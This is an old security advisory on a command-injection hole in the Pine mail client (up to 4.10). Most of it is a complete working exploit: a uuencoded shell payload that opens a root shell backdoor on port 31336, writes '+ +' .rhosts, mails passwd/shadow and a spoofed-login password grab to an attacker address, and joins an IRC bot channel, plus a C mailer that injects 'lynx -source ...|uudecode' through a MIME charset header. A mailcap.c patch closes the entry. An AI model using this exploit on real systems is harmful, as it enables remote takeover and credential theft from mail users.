COMMAND

    Pine

SYSTEMS AFFECTED

    munices running pine up to 4.10

PROBLEM

    Following is  already known,  but it  represents another approach.
    This issue has been covered in:

        http://oliver.efri.hr/~crv/security/bugs/mUNIXes/pine10.html

    Credit goes to elaich aka LoopHole  of the hhp.  This exploit  was
    made about same  time as issues  covered in URL  above and it  was
    "asleep" untill recently.  Now lets think back about 4 months  ago
    when   a   few    posts   to   bugtraq    were   sent   about    a
    charset=``commands...`` bug.   The problem  wasn't to  big because
    ALOT of characters could not  be used in  attacking  this problem.
    The main chars that would be needed to do some harmfull damage are
    ; : > < / @ " ` ' \ = %  - and | which are all not allowed besides
    | and - which can't be used in any ways wouthout the others.

    Theres no way to possibly echo to  a file, send an xterm, or rm  a
    system without  /  and >.  So  "pfft" you said and  got along with
    your  admining.   This  exploit  will  show  you how to run remote
    commands  and  exploit  the  system  all  with  only  the | and  -
    characters.   Now  you  say  "how  is  that possible?".  Well it's
    called uudecode which decodes a  uuencoded file and sets the  mode
    defined on the  top line of  the .uue file  when its decoded.   So
    now, we know how to do the file part, but then  you  say "But  how
    do we get the file on the remote server for christs sake?".  Thats
    easy too, all with  the help  of  lynx on the target  server.  All
    you do  is go  get a  domain like  www.blah.com which  CANNOT be a
    user directory like  www.blah.com/user because we  cant use the  /
    character in  the charset.   So it  HAS to  be a  www.blah.com  or
    whatever.  Then this  is where you have  to follow what im  saying
    really close.   We are  going to  uuencode psite.sh  and name  the
    uuencoded file '...' (three dots) which will be the index.html  of
    your domain.  This is how you do this:

        [root@hhp]# uuencode psite.sh ... > index.html

    Then you need to  edit the index.html and  change the top line  to
    make sure the mode is 777 (Defualt is usually like 644 or 655  (it
    varries)).   Then save  the index.html  and then  go look  at your
    website  and  make  sure  it  is  comming  up  in your browser.  A
    suggestion is  to go  to www.freeservers.com  and register  a free
    domain.  Then uuencode the file, then change the mode to 777,  and
    THEN since they automatically add that banner to your website, add
    <PRE> to the top  of the uuencoded file  and </PRE> to the  bottom
    and it will allow  it to work with  that banner still there.   The
    next step is to compile Infect.c like...

        [root@hhp]# gcc Infect.c -o Infect

    The only wierd thing  about this is when  root or a non-root  user
    reads the email it  will scroll the screen  with errors as if  the
    contents of the script is not working.  But it seriously did work,
    you can test it out yourself.   A good feature the exploit has  is
    that after the email is read, it will delete the evil charset from
    the email  so if  they decide  to read  it again  (As most  people
    would) it wont re-infect the  server.  Remember, this can  be used
    on non-root  users too.   What it  does is  log them  out of their
    shell making them  relogin which then  we grab their  login/passwd
    and then it emails them to you at the defined address in psite.sh.
    NOTE: They have to be running  pine AND lynx.  Most all  operating
    systems are vulnerable if they run pine and lynx.  You can  change
    some of the scripting in script #1 for that particular OS...  like
    the killall command and the path of the user mail.  Tested on BSD,
    Linux, IRIX, AIX, SCO and SunOS.  Code follows.

    psite.sh
    ========

    #!/bin/sh
    # psite.sh
    # by: elaich of the hhp.
    # Script #1 of the hhp-pine remote exploit.
    #
    # This cant be a C program because we dont want to raise
    # the requirments of the programs needed to use this exploit.
    #
    # For ROOT infections it...
    # Makes a backdoor on port 31336.
    # Makes .rhosts.
    # Turns port 70 into a telnet port. -Incase 23 is firewalled.
    # Puts ALL:ALL in hosts.allow.
    # Emails you thier infection.
    # Sends you an xterm.(If you define it.)
    #
    # For NON-ROOT infections it...
    # Sends you an xterm.(If you define it.)
    # emails you passwd file.(If you defined it.)
    # logs them out making them relogin taking their login and passwd
    #
    # Be sure to change the email address to yours in the below script.
    #
    # Usage: [root@pine]# uuencode psite.sh ... > index.html
    # Then change the mode to 777 in the index.html.
    # view the README if you need a domain to put this on.
    #
    if [ "`id | awk '{print $1}'`" = "uid=0(root)" ]; then
    killall -9 pine 2>&1
    # XTERM DEFINES: The next three lines are for os variant xterm dirs.
    #/usr/bin/X11/xterm -display <your-ip>:0.0 -rv -e /bin/sh
    #/usr/X11R6/bin/xterm -display <your-ip>:0.0 -rv -e /bin/sh
    #/usr/openwin/bin/xterm -display <your-ip>:0.0 -rv -e /bin/sh
    echo "+ +" > ~/.rhosts 2>&1
    echo "+ +" > /.rhosts 2>&1
    echo "+ +" > /root/.rhosts 2>&1
    echo "ALL:ALL" >> /etc/hosts.allow 2>&1
    cat /etc/inetd.conf | sed s/#telnet/telnet/g > /etc/... 2>&1
    mv /etc/... /etc/inetd.conf 2>&1
    cat /etc/inetd.conf | sed s/#gopher/gopher/g > /etc/... 2>&1
    mv /etc/... /etc/inetd.conf 2>&1
    cp /usr/sbin/in.telnetd /usr/sbin/gn 2>&1
    echo "hhp-conf stream tcp nowait root /usr/sbin/linuxcnf sh -i" >> /etc/inetd.conf 2>&1
    cp /bin/sh /usr/sbin/linuxcnf 2>&1
    chmod +x /usr/sbin/linuxcnf 2>&1
    chmod +x /usr/sbin/gn 2>&1
    mkdir /etc/cron.hourly 2>&1
    echo "rm `pwd`/..." > /etc/cron.hourly/... 2>&1
    echo "rm /etc/cron.hourly/..." >> /etc/cron.hourly/... 2>&1
    echo "hhp-conf         31336/tcp" >> /etc/services 2>&1
    killall -HUP inetd 2>&1
    echo "Im a (hhp-pine remote exploit.) infection." > ~/..... 2>&1
    hostname -i >> ~/..... 2>&1
    hostname -d >> ~/..... 2>&1
    uname -a >> ~/..... 2>&1
    # Change this to your email address.
    cat ~/..... | mail -s hhp-pine_root pigspigs@yahoo.com 2>&1
    # echo "`hostname -i` - `cat /etc/passwd`" | mail -s hhp-pine_passwd-file pigspigs@yahoo.com 2>&1
    # echo "`hostname -i` - `cat /etc/shadow`" | mail -s hhp-pine_shadow-file pigspigs@yahoo.com 2>&1
    rm ~/..... 2>&1
    rm -fr psite.c 2>&1
    cat /var/spool/mail/`whoami` | egrep -v "uude|emailf|void|BASE64" > /tmp/..... 2>&1
    mv /tmp/..... /var/spool/mail/`whoami` 2>&1
    # For capability with other operating systems...
    cat /usr/spool/mail/`whoami` | egrep -v "uude|emailf|void|BASE64" > /tmp/..... 2>&1
    mv /tmp/..... /usr/spool/mail/`whoami` 2>&1
    #
    # IRC channel connection section...
    # (Makes the rooted people connect to DALnet in #hhp_owned under guest nicks.)
    echo '#!/usr/bin/perl
    # owned-bot by: elaich of the hhp.
    use IO::Socket;
            $sock = IO::Socket::INET->new(PeerAddr => "phix.dal.net",
                  PeerPort => 7000,
                  Proto => "tcp") or die "\n";
            print $sock "USER owned owned owned owned\n";
            print $sock "PASS owned\n";
            print $sock "NICK hhp\n";
            print $sock "JOIN #hhp_owned\n";
            print $sock "PRIVMSG #hhp_owned :Im owned. -root-.\n";
            while(<$sock>) {
                    chomp;
                    $line = $_;
                    if ($line =~ /^PING/) {
                    print $sock "pong phix.dal.net\n";
            }
    }
    ' > ~/quota.pl 2>&1
    chmod +x ~/quota.pl 2>&1
    ~/quota.pl >> /dev/null &
    rm -fr ~/quota.pl 2>&1

    else
    killall -9 pine 2>&1
    # XTERM DEFINES: The next three lines are for os variant xterm dirs.
    #/usr/bin/X11/xterm -display <your-ip>:0.0 -rv -e /bin/sh
    #/usr/X11R6/bin/xterm -display <your-ip>:0.0 -rv -e /bin/sh
    #/usr/openwin/bin/xterm -display <your-ip>:0.0 -rv -e /bin/sh
    echo '#!/bin/sh' > ~/.shell
    echo "clear" >> ~/.shell
    echo "echo \"shell-init: could not get current directory:\"" >> ~/.shell
    echo "cat /etc/issue.net" >> ~/.shell
    echo "echo -n \"login: \"" >> ~/.shell
    echo "read l" >> ~/.shell
    echo "stty -echo" >> ~/.shell
    echo "echo -n \"Password: \"" >> ~/.shell
    echo "read p" >> ~/.shell
    echo "stty echo" >> ~/.shell
    echo "echo \"\" >> ~/.shell
    echo 'echo `hostname -i`: `hostname -d` "---"  l:$l p:$p|mail -s hhp-pine_nonroot pigspigs@yahoo.com > /dev/null' >> ~/.shell
    echo "rm -rf ~/.shell" >> ~/.shell
    echo "rm -rf ~/..." >> ~/.shell
    # echo "`hostname -i` - `cat /etc/passwd`" | mail -s hhp-pine_passwd-file pigspigs@yahoo.com 2>&1
    echo 'echo `cat ~/.profile |grep -v shell` > .profile' >> ~/.shell
    echo 'echo `cat ~/.bashrc |grep -v shell` > .bashrc' >> ~/.shell
    echo "~/.shell" >> ~/.bashrc 2>&1
    echo "~/.shell" >> ~/.profile 2>&1
    chmod +x ~/.bashrc >/dev/null 2>&1
    chmod +x ~/.profile >/dev/null 2>&1
    chmod +x ~/.shell >/dev/null 2>&1
    cat /var/spool/mail/`whoami` | egrep -v "uude|emailf|void|BASE64" > ~/..... 2>&1
    mv ~/..... /var/spool/mail/`whoami` 2>&1
    # For capability with other operating systems...
    cat /usr/spool/mail/`whoami` | egrep -v "uude|emailf|void|BASE64" > ~/..... 2>&1
    mv ~/..... /usr/spool/mail/`whoami` 2>&1
    #
    # IRC channel connection section...
    # (Makes the rooted people connect to DALnet in #hhp_owned under guest nicks.)
    echo '#!/usr/bin/perl
    # owned-bot by: elaich of the hhp.
    use IO::Socket;
            $sock = IO::Socket::INET->new(PeerAddr => "phix.dal.net",
                  PeerPort => 7000,
                  Proto => "tcp") or die "\n";
            print $sock "USER owned owned owned owned\n";
            print $sock "PASS owned\n";
            print $sock "NICK hhp\n";
            print $sock "JOIN #hhp_owned\n";
            print $sock "PRIVMSG #hhp_owned :Im owned. -non-root-.\n";
            while(<$sock>) {
                    chomp;
                    $line = $_;
                    print "# $line\n";
                    if ($line =~ /^PING/) {
                    print $sock "pong phix.dal.net\n";
            }
    }
    ' > ~/quota.pl 2>&1
    chmod +x ~/quota.pl 2>&1
    ~/quota.pl >> /dev/null &
    rm -fr ~/quota.pl 2>&1
    killall -9 bash 2>&1
    killall -9 sh 2>&1
    killall -9 tcsh 2>&1
    killall -9 csh 2>&1
    killall -9 ksh 2>&1
    fi

    infect.c
    ========

    /********************************************************
     *  (hhp) Infect.c (hhp)                                *
     *  By: elaich of the hhp.                              *
     *  Part of the (hhp-pine remote exploit.)              *
     *  gcc Infect.c -o Infect ; ./Infect                   *
     *                                                      *
     *  Connects  to their SMTP server, waits for           *
     *  a full connection then sends the infected           *
     *  email and disconnects.                              *
     ********************************************************/

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <arpa/inet.h>
    #include <stdio.h>
    #include <malloc.h>
    #include <signal.h>
    #include <sys/time.h>
    #include <stdlib.h>
    #include <string.h>

    #define TIMEOUT 12               // The time we will wait before giving up.

    char * omfg;                     // globalised argv[2].
    void slowass(int sig);

    unsigned int wtfisit(char *name) // Hostname, ip, or niether?
     {
      struct in_addr addr;
      struct hostent *he;

      if( (addr.s_addr = inet_addr(name)) == -1)
       {

        if( (he = gethostbyname(name)) == NULL)
         {
          fprintf(stderr,"\n-(I)-> The hostname or IP is not correct.\n");
          exit(1);
         }
        bcopy(he->h_addr, (char *)&addr.s_addr, he->h_length);
       }
      return addr.s_addr;
     }

    int main(int argc, char *argv[])
     {
      char msg[512];
      struct sockaddr_in victem;
      int the_ip;
      int the_port;
      int the_socket;
      char * inbuf;
      int a;

      if( argc < 4)     // Are there enough args?
       {
        fprintf(stdout,"\n");
        fprintf(stdout,"-(I)-> Infect.c -By: elaich of the hhp.\n");
        fprintf(stdout,"-(I)-> Part of the (hhp-pine remote exploit).\n");
        fprintf(stdout,"-(I)->\n");
        fprintf(stdout,"-(I)-> Usage: %s <Infected index.html site> <Target Host> <Taget UserName>\n", argv[0]);
        fprintf(stdout,"-(I)-> Examp: %s www.mydomain.com target.com root\n", argv[0]);
        fprintf(stdout,"-(I)->\n");
        fprintf(stdout,"-(I)-> It CANT be a dir site like www.blah.com/dir and DONT\n");
        fprintf(stdout,"-(I)-> put 'http://' because we CANT use the '/' character.\n");
        fprintf(stdout,"-(I)->\n");
        fprintf(stdout,"-(I)-> Have fun.\n\n");
        exit(-1);
       }

      memset(msg, 0, 512);

      signal(SIGALRM, &slowass);   // This will catch the alarm if it goes off.
      alarm(TIMEOUT);              // Alarm if we reach the the defined timeout.

      omfg                   = argv[2];
      the_ip                 = wtfisit(argv[2]); // argv[2] -> wtfisit() -> the_ip
      the_socket             = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
      victem.sin_family      = AF_INET;
      victem.sin_port        = htons(25);  // SMTP.
      victem.sin_addr.s_addr = the_ip;

      if( connect(the_socket, (struct sockaddr *)&victem, sizeof(struct sockaddr_in)) == -1)
       {
        perror("connect");    // We couldnt connect.
        exit(-1);             // Exits the program.
       }

       fprintf(stdout,"\n");
       fprintf(stdout,"-(I)-> Infect.c -By: elaich of the hhp.\n");
       fprintf(stdout,"-(I)-> Part of the (hhp-pine remote exploit).\n");
       fprintf(stdout,"-(I)-> \n");
       fprintf(stdout,"-(I)-> Jobs/Probs/Bugs/Etc. -> hhp@hhp.hemp.net\n");
       fprintf(stdout,"-(I)-> \n");
       fprintf(stdout,"-(I)-> Host w/ infected index.html. -> %s\n", argv[1]);
       fprintf(stdout,"-(I)-> Target Host to infect.       -> %s\n", argv[2]);
       fprintf(stdout,"-(I)-> Target UserName to infect.   -> %s\n", argv[3]);
       fprintf(stdout,"-(I)-> \n");
       fprintf(stdout,"-(I)-> Attempting to connect...\n");

       inbuf = malloc(65536);
       bzero(inbuf,65536);
       while(strstr(inbuf, "220") == NULL) // Untill we get a full connection
        {                                  // we will wait and make a funny motion.
         printf("\r-(I)-> Waiting for full connection.");
         fflush(stdout);
         usleep(900000);
         for (a=0;a<=2;a++)
          {
           printf("\r-(\\)-> Waiting for full connection..");
           fflush(stdout);
           usleep(900000);
           printf("\r-(-)-> Waiting for full connection...");
           fflush(stdout);
           usleep(900000);
           printf("\r-(/)-> Waiting for full connection....");
           fflush(stdout);
           usleep(900000);
           printf("\r-(I)-> Waiting for full connection.");
           fflush(stdout);
           usleep(900000);
          }
         recv(the_socket,inbuf+strlen(inbuf),65535-strlen(inbuf),0);
        }

       if(strstr(inbuf, "220") != NULL)  // We fully connected to the SMTP server.
        {
         sprintf(msg,"HELO THERE\nMAIL FROM:");               write(the_socket,msg,strlen(msg));
         sprintf(msg,"Dave<dave@localhost>\nRCPT TO:");       write(the_socket,msg,strlen(msg));
         sprintf(msg,"%s<%s@%s>\n",argv[3],argv[3],argv[2]);  write(the_socket,msg,strlen(msg));
         sprintf(msg,"DATA\n");                               write(the_socket,msg,strlen(msg));
         sprintf(msg,"From: Dave<dave@localhost>\nTO: ");     write(the_socket,msg,strlen(msg));
         sprintf(msg,"%s<%s@%s>\n",argv[3],argv[3], argv[2]); write(the_socket,msg,strlen(msg));
         sprintf(msg,"Subject: Heya.\n");                     write(the_socket,msg,strlen(msg));
         sprintf(msg,"MIME-Version: 1.0\n");                  write(the_socket,msg,strlen(msg));
         sprintf(msg,"Content-Type: MULTIPART/MIXED; BOUND"); write(the_socket,msg,strlen(msg));
         sprintf(msg,"ARY=\"8323328-235065145-918425607=:3"); write(the_socket,msg,strlen(msg));
         sprintf(msg,"19\"\n");                               write(the_socket,msg,strlen(msg));
         sprintf(msg,"--8323328-235065145-918425607=:319\n"); write(the_socket,msg,strlen(msg));
         sprintf(msg,"Content-Type: TEXT/PLAIN; charset='U"); write(the_socket,msg,strlen(msg));
         sprintf(msg,"S-ASCII'\n");                           write(the_socket,msg,strlen(msg));
         sprintf(msg,"Just keeping up and saying hi.\n");     write(the_socket,msg,strlen(msg));
         sprintf(msg,"I got a new addy and domain hehe..\n"); write(the_socket,msg,strlen(msg));
         sprintf(msg," \n");  /* This is here so if      */   write(the_socket,msg,strlen(msg));
         sprintf(msg," \n");  /* pine sends a msg to     */   write(the_socket,msg,strlen(msg));
         sprintf(msg," \n");  /* their term, they wont   */   write(the_socket,msg,strlen(msg));
         sprintf(msg," \n");  /* see any of the email    */   write(the_socket,msg,strlen(msg));
         sprintf(msg," \n");  /* contents we're sending. */   write(the_socket,msg,strlen(msg));
         sprintf(msg,"--8323328-235065145-918425607=:319\n"); write(the_socket,msg,strlen(msg));
         sprintf(msg,"Content-Type: TEXT/PLAIN; charset=``"); write(the_socket,msg,strlen(msg));
         sprintf(msg,"lynx${IFS}-source${IFS}%s|u", argv[1]); write(the_socket,msg,strlen(msg));
         sprintf(msg,"udecode|...``; name=\"emailf\"\n");     write(the_socket,msg,strlen(msg));
         sprintf(msg,"Content-Transfer-Encoding: BASE64\n");  write(the_socket,msg,strlen(msg));
         sprintf(msg,"Content-Description: heya\n");          write(the_socket,msg,strlen(msg));
         sprintf(msg,"Content-Disposition: attachment; fi");  write(the_socket,msg,strlen(msg));
         sprintf(msg,"lename=\"emailf\"\n");                  write(the_socket,msg,strlen(msg));
         sprintf(msg,".\n"); /* finished the email */         write(the_socket,msg,strlen(msg));
         sprintf(msg,"quit\n\n"); /* close the connection. */ write(the_socket,msg,strlen(msg));

         close(the_socket);  // Re insures the closing of the_socket.
         fprintf(stdout,"\n");
         fprintf(stdout,"-(I)-> \n");
         fprintf(stdout,"-(I)-> Infected email sent!\n");
         fprintf(stdout,"-(I)-> \n");
         fprintf(stdout,"-(I)-> When %s reads the email,\n", argv[3]);
         fprintf(stdout,"-(I)-> you'll recieve an email to the\n");
         fprintf(stdout,"-(I)-> address you defined in psite.sh.\n\n");
         return 0;
        }
     }

    void slowass(int sig)   // Alarm went off.
     {
      fprintf(stdout,"\n");
      fprintf(stdout,"-(I)-> %s -> Server is firewalled, or lagged to hell.\n", omfg);
      fprintf(stdout,"\n");
      exit(-1);            // Exits the program.


    /*
      If youre having trouble using this, like i have on very few servers...
      the raw email is as follows: Remeber to change 'USERNAME' to the user
      you're trying to infect, and change 'HOSTNAME-WITH-INFECTED-index.html'
      with the hostname of the domain with the uuencoded psite.sh on the
      index.html (remember it has to be www.blah.com, and cant be a user dir
      like www.blah.com/user and dont put http://, because we cant use the
      '/' character in the charset. -elaich


    HELO THERE
    MAIL FROM: Dave<dave@localhost>
    RCPT TO: USERNMAE<USERNAME@target.com>
    DATA
    From: Dave<dave@localhost>
    TO: USERNMAE<USERNAME@target.com>
    Subject: Heya.
    MIME-Version: 1.0
    Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-235065145-918425607=:319"
    --8323328-235065145-918425607=:319\n
    Content-Type: TEXT/PLAIN; charset='US-ASCII'
    Just keeping up and saying hi.
    I got a new addy and domain hehe.

    --8323328-235065145-918425607=:319
    Content-Type: TEXT/PLAIN; charset=``lynx${IFS}-source${IFS}HOSTNAME-WITH-INFECTED-index.html|uudecode|...``; name="emailf"
    Content-Transfer-Encoding: BASE64
    Content-Description: heya
    Content-Disposition: attachment; filename="emailf"
    .
    quit

    */
    }

    cleanup.c
    =========

    /*
       cleanup.c
       Part of hhp-pine remote exploit.
       Run this on systems you infected
       root users on and it will just close all
       the holes that psite.sh has made.
    */

    main()
     {
      system("cat /etc/hosts.allow | grep -v \"ALL:ALL\" > /etc/temp");
      system("mv /etc/temp /etc/hosts.allow");
      system("echo \"ALL:ALL\" >> /etc/hosts.allow");
      system("rm -fr ~/.rhosts ; rm -fr /.rhosts ; rm -fr /root/.rhosts");
      system("cat /etc/inetd.conf | grep -v \"hhp-conf\" > /etc/temp");
      system("mv /etc/temp /etc/inetd.conf");
      system("cat /etc/services | grep -v \"hhp-conf\" > /etc/temp");
      system("mv /etc/temp /etc/services");
      system("killall -HUP inetd");
     }

SOLUTION

    To apply,  download and  un-tar the  pine 4.10  source.   Copy the
    patch  into  the  pine4.10  directory.   Change  directory  to the
    pine4.10 directory and run patch against it.  This patch fixes the
    hole  in  Zalewski's  post,  it  modifies  mailcap.c.  Pine quotes
    parameters sent to scripts  with single quotes ('),  and correctly
    escapes single quotes within the parameter with the sequence  '\''
    (quote,  slash  quote  quote).  My  patch  makes  it  also  escape
    backquotes (`), replacing them with the sequence '\`'.

    --- pine4.10.orig/pine/mailcap.c        Wed Nov 18 13:00:15 1998
    +++ pine4.10/pine/mailcap.c     Mon Feb  8 09:17:46 1999
    @@ -905,14 +905,18 @@
			 * have to put those outside of the single quotes.
			 * (The parm+1000 nonsense is to protect against
			 * malicious mail trying to overlow our buffer.)
    +                                *
    +                                * TCH - Change 2/8/1999
    +                                * Also quote the ` slash to prevent execution of arbirtrary code
			 */
			for(p = parm; *p && p < parm+1000; p++){
    -                       if(*p == '\''){
    +                       if((*p == '\'')||(*p=='`')){
				*to++ = '\'';  /* closing quote */
				*to++ = '\\';
    -                           *to++ = '\'';  /* below will be opening quote */
    -                       }
    -                       *to++ = *p;
    +                                       *to++ = *p; /* quoted character */
    +                           *to++ = '\'';  /* opening quote */
    +                       } else
    +                               *to++ = *p;
			}

			fs_give((void **) &parm);
    @@ -954,7 +958,7 @@
	  */
	 if(!used_tmp_file && tmp_file)
	   sprintf(to, MC_ADD_TMP, tmp_file);
    -
    +
	 return(cpystr(tmp_20k_buf));
     }

    Since  this  is  a  variant  on  the command-line-in-a-MIME-header
    exploit  that  was  described  in  some  earlier  advisory,  it is
    defanged by the procmail sanitizer.